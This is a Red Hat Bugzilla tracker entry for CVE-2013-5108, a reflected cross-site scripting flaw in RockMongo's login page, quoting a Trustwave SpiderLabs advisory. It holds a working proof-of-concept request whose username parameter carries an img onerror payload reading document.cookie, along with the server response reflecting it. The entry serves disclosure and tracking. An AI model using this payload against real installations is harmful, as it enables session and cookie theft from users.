Bug 1043668 (CVE-2013-5108)

Summary: CVE-2013-5108 RockMongo: reflected XSS
Product: [Other] Security Response Reporter: Kurt Seifried <kseifried>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED WONTFIX QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: unspecifiedCC: ccoleman, dmcphers, jialiu, jrusnack, lmeyer, mmcgrath
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2014-09-07 05:03:27 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 1043673    
Bug Blocks: 1043672    

Description Kurt Seifried 2013-12-16 21:03:29 UTC 
Damian Profancik of Trustwave SpiderLabs reports:

RockMongo is vulnerable to numerous Cross-Site Scripting Vulnerabilities.
Specifically, any parameter that is retrieved with the "xn" function.

This vulnerability does not require an attacker to be authenticated prior
to performing the exploit, as there are vulnerable parameters on the login
page. Below is a proof of concept for exploiting this vulnerability:

Example 1 (Tested on RockMongo v1.1.2):

#Request (The "db" parameter is also vulnerable on the login page)

GET /index.php?action=login.index&host=0&username="><img+src%3D1+onerror%3Dalert(document.cookie)> HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

#Response

HTTP/1.1 200 OK
Date: Mon, 10 Jun 2013 14:01:52 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3658
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>RockMongo</title>
...
<tr>
<td nowrap>UserName:</td>
<td><input type="text" name="username" value=""><img src=1 onerror=alert(document.cookie)>" style="width:150px"/></td>
</tr>
...

External references:
https://www.trustwave.com/spiderlabs/advisories/TWSL2013-026.txt
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5108
Comment 2 Kurt Seifried 2014-11-30 19:52:10 UTC 
Statement:

This issue affects the versions of the mongo cartridge as shipped with Red Hat OpenShift Enterprise Linux 2. Red Hat Product Security has rated this issue as having Moderate security impact. A future update may address this issue. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.